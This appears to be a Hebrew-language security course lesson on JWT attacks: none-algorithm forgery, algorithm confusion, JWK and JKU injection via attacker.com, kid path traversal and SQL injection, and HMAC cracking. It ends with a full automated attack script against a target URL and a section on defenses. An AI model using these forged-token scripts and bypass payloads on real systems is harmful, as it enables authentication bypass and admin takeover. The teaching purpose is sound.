לדלג לתוכן

תקיפת JWT - JWT Attacks

מבוא

טוקני JWT (JSON Web Token) הפכו לסטנדרט הנפוץ ביותר לניהול אותנטיקציה ב-API מודרניים ובאפליקציות SPA. בקורס הבסיסי למדנו מהו JWT וכיצד הוא עובד. בשיעור זה נצלול לעומק לתקיפות מתקדמות שמנצלות חולשות בהגדרות JWT, באימות signatures ובניהול מפתחות.


סקירת מבנה JWT

טוקן JWT מורכב משלושה חלקים מופרדים בנקודות:

header.payload.signature

כל חלק מקודד ב-Base64URL. לדוגמה:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwidXNlciI6ImFkbWluIiwiaWF0IjoxNjk5MDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

הdecoding ה-Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

הdecoding ה-Payload:

{
  "sub": "1234",
  "user": "admin",
  "iat": 1699000000
}

החלק השלישי הוא הsignature, שנוצרת כך:

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

תקיפה 1: אלגוריתם None - None Algorithm Attack

הרקע

מפרט JWT תומך באלגוריתם none שמשמעותו "ללא signature". שרתים שלא מאמתים כראוי את ה-alg עלולים לקבל טוקנים ללא signature.

שלבי התקיפה

  1. קחו טוקן JWT תקין
  2. שנו את ה-header כך שה-alg יהיה "none"
  3. שנו את ה-payload כרצונכם
  4. הסירו את הsignature (השאירו את הנקודה האחרונה)

קוד תקיפה ב-Python

import base64
import json

def exploit_none_algorithm(token):
    """Exploit the none algorithm in JWT"""
    # Parse the token
    parts = token.split('.')

    # Change the header to the none algorithm
    header = {"alg": "none", "typ": "JWT"}

    # Change the payload - turn into admin
    payload = json.loads(
        base64.urlsafe_b64decode(parts[1] + '==')
    )
    payload['role'] = 'admin'
    payload['user'] = 'administrator'

    # Re-encode
    new_header = base64.urlsafe_b64encode(
        json.dumps(header).encode()
    ).rstrip(b'=').decode()

    new_payload = base64.urlsafe_b64encode(
        json.dumps(payload).encode()
    ).rstrip(b'=').decode()

    # Token without a signature - note the trailing dot
    malicious_token = f"{new_header}.{new_payload}."
    return malicious_token

# Usage
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.abc123"
print(exploit_none_algorithm(original))

וריאציות נוספות של שם האלגוריתם שעשויות לעבוד:

none_variants = ["none", "None", "NONE", "nOnE", "noNe"]

תקיפה 2: בלבול אלגוריתמים - Algorithm Confusion (RS256 to HS256)

הרקע

כאשר השרת משתמש ב-RS256 (signature א-סימטרית), הוא חותם עם מפתח פרטי ומאמת עם מפתח ציבורי. אם נשנה את האלגוריתם ל-HS256 (signature סימטרית), השרת עלול להשתמש במפתח הציבורי כסוד של HMAC.

שלבי התקיפה

  1. השיגו את המפתח הציבורי של השרת (בדרך כלל זמין ב-/.well-known/jwks.json)
  2. שנו את ה-alg מ-RS256 ל-HS256
  3. חתמו על הטוקן באמצעות HMAC עם המפתח הציבורי כסוד

קוד תקיפה

import jwt
import requests

def algorithm_confusion_attack(token, public_key_url):
    """Algorithm confusion attack RS256 -> HS256"""

    # Step 1: Obtain the public key
    resp = requests.get(public_key_url)
    public_key = resp.text  # PEM format

    # Step 2: Decode the original token (without verification)
    payload = jwt.decode(token, options={"verify_signature": False})

    # Step 3: Modify the data
    payload['role'] = 'admin'

    # Step 4: Re-sign with HS256
    # Using the public key as the HMAC secret
    malicious_token = jwt.encode(
        payload,
        public_key,
        algorithm='HS256'
    )

    return malicious_token

# Usage
token = "eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.signature"
public_key_url = "https://target.com/.well-known/jwks.json"

שימו לב: ספריית PyJWT בגרסאות חדשות חוסמת תקיפה זו כברירת מחדל. יש להשתמש בגרסה ישנה או בספריה אחרת.

השגת המפתח הציבורי ממספר טוקנים

כאשר המפתח הציבורי לא זמין ישירות, ניתן לחלץ אותו משני טוקנים חתומים:

# Use jwt_tool to extract the public key
python3 jwt_tool.py JWT1 JWT2 -V -pk

תקיפה 3: הinjection JWK בתוך ה-Header - JWK Header Injection

הרקע

פרמטר jwk ב-header מאפשר להטמיע מפתח ציבורי ישירות בתוך הטוקן. שרתים שסומכים על מפתח זה ללא אימות חשופים לתקיפה.

שלבי התקיפה

from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt
import json

def jwk_injection_attack():
    """JWK header injection attack"""

    # Step 1: Create a new RSA key pair
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()

    # Step 2: Create a JWK from the public key
    from jwt.algorithms import RSAAlgorithm
    jwk_dict = json.loads(RSAAlgorithm.to_jwk(public_key))

    # Step 3: Build the header with an embedded JWK
    header = {
        "alg": "RS256",
        "typ": "JWT",
        "jwk": jwk_dict
    }

    # Step 4: malicious payload
    payload = {
        "sub": "admin",
        "role": "administrator",
        "iat": 1699000000,
        "exp": 1999000000
    }

    # Step 5: Sign with our private key
    token = jwt.encode(
        payload,
        private_key,
        algorithm='RS256',
        headers={"jwk": jwk_dict}
    )

    return token

תקיפה 4: הinjection JKU - JKU Header Injection

הרקע

פרמטר jku (JWK Set URL) מצביע על URL שממנו השרת מוריד את ערכת המפתחות. אם השרת לא מאמת כראוי את ה-URL, ניתן להפנות אותו לשרת של התוקף.

שלבי התקיפה

  1. צרו זוג מפתחות RSA
  2. ארחו את המפתח הציבורי בפורמט JWK Set בשרת שלכם
  3. שנו את ה-jku ב-header להצביע על השרת שלכם
  4. חתמו את הטוקן עם המפתח הפרטי שלכם

קוד תקיפה

import jwt
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend

def jku_injection_attack(attacker_url):
    """JKU injection attack"""

    # Create keys
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )

    # The JWK Set to be hosted on the attacker's server
    from jwt.algorithms import RSAAlgorithm
    public_jwk = json.loads(
        RSAAlgorithm.to_jwk(private_key.public_key())
    )
    public_jwk["kid"] = "attacker-key-1"

    jwks = {
        "keys": [public_jwk]
    }

    print("[*] Host the following JWKS on your server:")
    print(json.dumps(jwks, indent=2))

    # Create the malicious token
    payload = {
        "sub": "admin",
        "role": "administrator"
    }

    token = jwt.encode(
        payload,
        private_key,
        algorithm='RS256',
        headers={
            "jku": f"{attacker_url}/.well-known/jwks.json",
            "kid": "attacker-key-1"
        }
    )

    return token

# Usage
token = jku_injection_attack("https://attacker.com")

טכניקות לbypass בדיקת URL

שרתים רבים בודקים שה-jku מצביע על דומיין מורשה. טכניקות bypass:

# Bypass via open redirect
https://target.com/redirect?url=https://attacker.com/jwks.json

# Bypass via fragment
https://target.com#@attacker.com/jwks.json

# Bypass via subdomain
https://target.com.attacker.com/jwks.json

# Bypass via path traversal
https://target.com/..%2F..%2Fattacker.com/jwks.json

תקיפה 5: תקיפות על פרמטר kid - KID Parameter Attacks

הרקע

פרמטר kid (Key ID) מציין לשרת איזה מפתח להשתמש לאימות. אם הערך שלו מועבר לפעולות ללא סינון, ניתן לנצל זאת.

תקיפה 5.1: מעבר ספריות - Path Traversal

import jwt
import hashlib

def kid_path_traversal():
    """Exploit path traversal in the kid parameter"""

    # Point to a known file with known content
    # /dev/null returns an empty string
    header = {
        "alg": "HS256",
        "typ": "JWT",
        "kid": "../../../../dev/null"
    }

    payload = {
        "sub": "admin",
        "role": "administrator"
    }

    # Sign with an empty string (content of /dev/null)
    token = jwt.encode(
        payload,
        "",  # Empty secret - the content of /dev/null
        algorithm='HS256',
        headers={"kid": "../../../../dev/null"}
    )

    return token

def kid_known_file():
    """Exploit kid with a known static file"""

    # Use a public CSS file as the secret
    header = {
        "alg": "HS256",
        "typ": "JWT",
        "kid": "../../../../var/www/html/css/style.css"
    }

    # Need to read the content of the public file
    import requests
    css_content = requests.get(
        "https://target.com/css/style.css"
    ).text

    payload = {"sub": "admin", "role": "administrator"}

    token = jwt.encode(
        payload,
        css_content,
        algorithm='HS256',
        headers={"kid": "../../../../var/www/html/css/style.css"}
    )

    return token

תקיפה 5.2: הinjection SQL - SQL Injection in KID

def kid_sql_injection():
    """Exploit SQL injection in the kid parameter"""

    # If the server looks up the key in a database:
    # SELECT key FROM keys WHERE kid = '<user_input>'

    # Inject UNION to get a known value as the key
    kid_payload = "' UNION SELECT 'my-secret-key' -- "

    payload = {"sub": "admin", "role": "administrator"}

    token = jwt.encode(
        payload,
        "my-secret-key",
        algorithm='HS256',
        headers={"kid": kid_payload}
    )

    return token

תקיפה 5.3: הinjection Null Byte

def kid_null_byte():
    """Exploit null byte in the kid parameter"""

    # The null byte will truncate the path
    kid_payload = "valid-key-id\x00.pem"

    payload = {"sub": "admin"}

    token = jwt.encode(
        payload,
        "secret",
        algorithm='HS256',
        headers={"kid": kid_payload}
    )

    return token

תקיפה 6: מניפולציית חותמות זמן - Timestamp Manipulation

הרקע

טוקני JWT כוללים שדות זמן כמו exp (תפוגה), iat (זמן יצירה), ו-nbf (לא לפני). מניפולציה של שדות אלו יכולה להאריך תוקף טוקנים או לעקוף בדיקות.

import time
import jwt

def timestamp_manipulation(token, secret):
    """Timestamp manipulation in JWT"""

    # Decode without verification
    payload = jwt.decode(token, options={"verify_signature": False})

    # Extend expiry 10 years forward
    payload['exp'] = int(time.time()) + (10 * 365 * 24 * 3600)

    # Change issued-at time
    payload['iat'] = int(time.time())

    # Remove nbf if present
    payload.pop('nbf', None)

    # Re-sign (requires the secret)
    new_token = jwt.encode(payload, secret, algorithm='HS256')
    return new_token

def exploit_expired_token_acceptance(expired_token):
    """Check whether the server accepts expired tokens"""
    import requests

    headers = {"Authorization": f"Bearer {expired_token}"}

    # Some servers don't check expiry
    response = requests.get(
        "https://target.com/api/admin",
        headers=headers
    )

    if response.status_code == 200:
        print("[+] The server accepts expired tokens!")
    return response

כלי עבודה - Tools

jwt.io

אתר אינטרנט לdecoding ובדיקת טוקני JWT. שימושי לניתוח מהיר אך לא לתקיפות.

jwt_tool

הכלי המרכזי לתקיפת JWT:

# Automatic scan of vulnerabilities
python3 jwt_tool.py <token> -M at

# none algorithm attack
python3 jwt_tool.py <token> -X a

# algorithm confusion attack
python3 jwt_tool.py <token> -X k -pk public_key.pem

# Change values in the payload
python3 jwt_tool.py <token> -T -S hs256 -p "secret"

# Crack the HMAC secret using a wordlist
python3 jwt_tool.py <token> -C -d wordlist.txt

הרחבת JWT ל-Burp Suite

1. Install the JWT Editor extension from the BApp Store
2. JWT tokens will be automatically detected in requests
3. Click the JSON Web Token tab to edit
4. Use Attack to perform automated attacks

שבירת סוד HMAC באמצעות hashcat

# Convert JWT to hashcat format
echo -n "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ" > jwt_hash.txt

# Crack with a wordlist
hashcat -m 16500 jwt_hash.txt wordlist.txt

# Crack with brute force
hashcat -m 16500 jwt_hash.txt -a 3 ?a?a?a?a?a?a

סקריפט תקיפה מלא

#!/usr/bin/env python3
"""
Comprehensive JWT attack script
"""

import jwt
import json
import base64
import requests
import argparse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend

class JWTAttacker:
    def __init__(self, token, target_url):
        self.token = token
        self.target_url = target_url
        self.header = self._decode_header()
        self.payload = self._decode_payload()

    def _decode_header(self):
        header_b64 = self.token.split('.')[0]
        header_b64 += '=' * (4 - len(header_b64) % 4)
        return json.loads(base64.urlsafe_b64decode(header_b64))

    def _decode_payload(self):
        payload_b64 = self.token.split('.')[1]
        payload_b64 += '=' * (4 - len(payload_b64) % 4)
        return json.loads(base64.urlsafe_b64decode(payload_b64))

    def test_none_algorithm(self):
        """Test the none algorithm attack"""
        print("[*] Testing none algorithm...")

        for alg in ["none", "None", "NONE", "nOnE"]:
            header = {"alg": alg, "typ": "JWT"}
            payload = self.payload.copy()
            payload['role'] = 'admin'

            h = base64.urlsafe_b64encode(
                json.dumps(header).encode()
            ).rstrip(b'=').decode()
            p = base64.urlsafe_b64encode(
                json.dumps(payload).encode()
            ).rstrip(b'=').decode()

            malicious = f"{h}.{p}."

            resp = requests.get(
                self.target_url,
                headers={"Authorization": f"Bearer {malicious}"}
            )

            if resp.status_code == 200:
                print(f"[+] Worked with: {alg}")
                return malicious

        print("[-] none algorithm did not work")
        return None

    def test_kid_path_traversal(self):
        """Test path traversal in kid"""
        print("[*] Testing kid path traversal...")

        paths = [
            "../../../../dev/null",
            "../../../../etc/hostname",
            "../../../../../../../dev/null",
        ]

        for path in paths:
            payload = self.payload.copy()
            payload['role'] = 'admin'

            try:
                token = jwt.encode(
                    payload,
                    "",
                    algorithm='HS256',
                    headers={"kid": path}
                )

                resp = requests.get(
                    self.target_url,
                    headers={"Authorization": f"Bearer {token}"}
                )

                if resp.status_code == 200:
                    print(f"[+] Worked with path: {path}")
                    return token
            except Exception as e:
                continue

        print("[-] kid path traversal did not work")
        return None

    def info(self):
        """Print information about the token"""
        print(f"Algorithm: {self.header.get('alg')}")
        print(f"Type: {self.header.get('typ')}")
        print(f"Header: {json.dumps(self.header, indent=2)}")
        print(f"Payload: {json.dumps(self.payload, indent=2)}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="JWT Attacker")
    parser.add_argument("token", help="JWT token")
    parser.add_argument("url", help="Target URL")
    parser.add_argument("--attack", choices=[
        "none", "kid", "info", "all"
    ], default="info")

    args = parser.parse_args()
    attacker = JWTAttacker(args.token, args.url)

    if args.attack == "info":
        attacker.info()
    elif args.attack == "none":
        attacker.test_none_algorithm()
    elif args.attack == "kid":
        attacker.test_kid_path_traversal()
    elif args.attack == "all":
        attacker.info()
        attacker.test_none_algorithm()
        attacker.test_kid_path_traversal()

הגנות - Defenses

1. רשימת אלגוריתמים מותרים

# Correct - explicit algorithm definition
payload = jwt.decode(
    token,
    secret,
    algorithms=["HS256"]  # Only this algorithm is allowed
)

# Wrong - allows any algorithm
payload = jwt.decode(token, secret, algorithms=jwt.algorithms.ALGORITHMS)

2. אימות כל פרמטרי ה-Header

def validate_jwt_header(token):
    """Validate the header of a JWT"""
    header = jwt.get_unverified_header(token)

    # Check algorithm
    allowed_algs = ["RS256"]
    if header.get("alg") not in allowed_algs:
        raise ValueError("Algorithm not allowed")

    # Reject dangerous parameters
    dangerous_params = ["jwk", "jku", "x5u", "x5c"]
    for param in dangerous_params:
        if param in header:
            raise ValueError(f"Parameter {param} is not allowed in header")

    # Validate kid
    if "kid" in header:
        kid = header["kid"]
        if "/" in kid or ".." in kid or "'" in kid:
            raise ValueError("kid contains forbidden characters")

    return True

3. ניהול מפתחות נכון

# Use a strong RSA key (minimum 2048 bits)
# Use a long HMAC secret (minimum 256 bits)
# Periodic key rotation
# Store keys in a secure vault (HashiCorp Vault, AWS KMS)

4. אימות נכון של טוקנים

def validate_token(token, public_key):
    """Full validation of a JWT token"""
    try:
        payload = jwt.decode(
            token,
            public_key,
            algorithms=["RS256"],
            options={
                "verify_exp": True,
                "verify_iat": True,
                "verify_nbf": True,
                "require": ["exp", "iat", "sub"]
            }
        )
        return payload
    except jwt.ExpiredSignatureError:
        raise ValueError("The token has expired")
    except jwt.InvalidTokenError as e:
        raise ValueError(f"Invalid token: {e}")

סיכום

תקיפות JWT מנצלות את הגמישות של המפרט ואת ההטמעות הלקויות. הנקודות המרכזיות:

  • תמיד הגדירו רשימת אלגוריתמים מותרים מפורשת
  • לעולם אל תסמכו על פרמטרים שמגיעים מתוך הטוקן עצמו (jwk, jku, kid)
  • השתמשו בספריות מעודכנות שחוסמות תקיפות ידועות
  • בצעו אימות מלא של כל שדות הטוקן כולל חותמות זמן
  • נהלו מפתחות בצורה מאובטחת עם רוטציה תקופתית